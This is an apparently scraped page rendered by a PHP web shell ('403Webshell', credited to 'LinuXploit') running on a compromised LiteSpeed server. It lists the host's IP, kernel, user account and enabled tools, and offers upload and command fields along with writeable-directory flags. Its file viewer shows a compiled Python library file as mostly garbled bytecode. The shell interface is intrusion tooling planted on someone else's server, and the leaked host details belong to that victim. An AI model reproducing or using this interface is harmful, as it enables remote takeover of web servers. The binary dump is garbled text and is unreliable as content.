403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.139.237.30
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/mako/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/mako/__pycache__/ast.cpython-37.pyc
B

�C]��@s�dZddlZddlmZddlmZddlmZGdd�de�ZGdd	�d	e�ZGd
d�de�Z	Gdd
�d
e�Z
Gdd�de
�ZdS)zjutilities for analyzing expressions and blocks of Python
code, as well as generating Python from AST nodes�N)�compat)�
exceptions)�pyparserc@seZdZdZdd�ZdS)�
PythonCodez<represents information about a string containing Python codecKsX||_t�|_t�|_t|tj�r8tj|�	�df|�}n|}tj
|f|�}|�|�dS)N�exec)�code�set�declared_identifiers�undeclared_identifiers�
isinstancer�string_typesr�parse�lstripZFindIdentifiers�visit)�selfr�exception_kwargs�expr�f�r�9/opt/alt/python37/lib/python3.7/site-packages/mako/ast.py�__init__szPythonCode.__init__N)�__name__�
__module__�__qualname__�__doc__rrrrrrsrc@seZdZdZdd�ZdS)�ArgumentListzBparses a fragment of code as a comma-separated list of expressionscKs|g|_g|_t�|_t�|_t|tj�rZt�	d|�rHt�	d|�sH|d7}t
j|df|�}n|}t
j|t
f|�}|�|�dS)Nz\Sz,\s*$�,r)Zcodeargs�argsrr	r
rrr�re�matchrr
Z	FindTuplerr)rrrrrrrrr7szArgumentList.__init__N)rrrrrrrrrr3srcs eZdZdZ�fdd�Z�ZS)�PythonFragmentz�extends PythonCode to provide identifier lookups in partial control
    statements

    e.g.::

        for x in 5:
        elif y==9:
        except (MyException, e):

    cs�t�d|��tj�}|s*tjd|f|��|�d�rF|d|�d��}|�dd�\}}|dkrh|d}nj|dkrz|d	}nX|d
ks�|dkr�d|d}n:|d
kr�d|d}n$|dkr�|d}ntjd|f|��tt	|�j
|f|�dS)Nz^(\w+)(?:\s+(.*?))?:\s*(#|$)z0Fragment '%s' is not a partial control statement���)�for�if�while�pass�tryzpass
except:pass�elif�elsezif False:pass
�exceptz	try:pass
�withz!Unsupported control keyword: '%s')rr�strip�Sr�CompileException�group�start�superr r)rrr�m�keywordr)�	__class__rrrVs,



zPythonFragment.__init__)rrrrr�
__classcell__rr)r5rr Isr c@s0eZdZdZddd�Zddd�Zedd	��Zd
S)
�FunctionDeclzfunction declarationTcKsp||_tj|df|�}tj|f|�}|�|�t|d�sJtjd|f|��|sl|jrltjd|j	df|��dS)Nr�funcnamez'Code '%s' is not a function declarationz('**%s' keyword argument not allowed here���)
rrr
Z	ParseFuncr�hasattrrr/�kwargs�
kwargnames)rrZallow_kwargsrrrrrrrvs


zFunctionDecl.__init__Fc	Cs>g}|jddd�}|jddd�}|jddd�}|jddd�}|jr^|�d|�d��xn|D]f}|r�|�d||f�qd|r�|�d�}|dkr�|�|�q�|�d|t�|��	�f�qd|�|�qdW|j
r�|�d|�d��xH|D]@}|s�|�s|�|�q�|�d�}|�d|t�|��	�f�q�W|��|S)aEReturn the argument declarations of this FunctionDecl as a printable
        list.

        By default the return value is appropriate for writing in a ``def``;
        set `as_call` to true to build arguments to be passed to the function
        instead (assuming locals with the same names as the arguments exist).
        Nr9z**rz%s=%s�*)�argnamesr<�defaults�
kwdefaultsr;�append�poprZExpressionGenerator�value�varargs�reverse)	rZas_callZ	namedeclsr>r<r?r@�name�defaultrrr�get_argument_expressions�s:	




z%FunctionDecl.get_argument_expressionscCst|j�t|j�S)N)�tupler>r<)rrrr�allargnames�szFunctionDecl.allargnamesN)T)F)rrrrrrH�propertyrJrrrrr7rs

9r7cs eZdZdZ�fdd�Z�ZS)�FunctionArgsz.the argument portion of a function declarationcstt|�jd|f|�dS)Nzdef ANON(%s):pass)r2rLr)rrr;)r5rrr�s
zFunctionArgs.__init__)rrrrrr6rr)r5rrL�srL)rr�makorrr�objectrrr r7rLrrrr�<module>s")T

Youez - 2016 - github.com/yon3zu
LinuXploit